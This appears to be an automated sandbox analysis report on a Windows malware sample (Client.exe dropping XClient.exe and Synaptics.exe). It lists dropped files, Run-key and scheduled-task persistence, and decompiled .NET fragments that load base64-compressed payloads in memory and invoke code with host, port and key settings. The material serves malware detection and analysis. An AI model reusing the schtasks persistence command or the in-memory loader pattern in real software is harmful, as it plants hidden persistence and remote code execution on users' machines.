Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\XClient.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: XClient.lnk.2.dr

LNK file: ..\..\..\..\..\XClient.exe

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\e11BkPG.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: ._cache_Client.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ._cache_Client.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ._cache_Client.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: XClient.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XClient.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: XClient.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: ._cache_Client.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: ._cache_Client.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: ._cache_Client.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.3.Client.exe.5e08c0.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.0.Client.exe.4b6c38.1.raw.unpack, Messages.cs	.Net Code: Memory
Source: XClient.exe.2.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: XClient.exe.2.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: XClient.exe.2.dr, Messages.cs	.Net Code: Memory

Source: C:\Users\user\Desktop\._cache_Client.exe

Code function: 2_2_00007FFB49FF38B8 pushad ; retf 49EEh

2_2_00007FFB49FF3869

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\IPKGELNTQY\~$cache1

Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\IPKGELNTQY\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\Client.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Client.exe	File created: C:\Users\user\Desktop\._cache_Client.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_Client.exe	File created: C:\Users\user\AppData\Roaming\XClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Client.exe	File created: C:\ProgramData\Synaptics\RCXEF1B.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\Client.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Client.exe	File created: C:\ProgramData\Synaptics\RCXEF1B.tmp			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\IPKGELNTQY\~$cache1

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\._cache_Client.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"

Source: C:\Users\user\Desktop\._cache_Client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Jump to behavior

Source: C:\Users\user\Desktop\._cache_Client.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Jump to behavior

Source: C:\Users\user\Desktop\Client.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run ?????	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run ?????	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XClient	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XClient	Jump to behavior

Source: C:\Users\user\Desktop\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
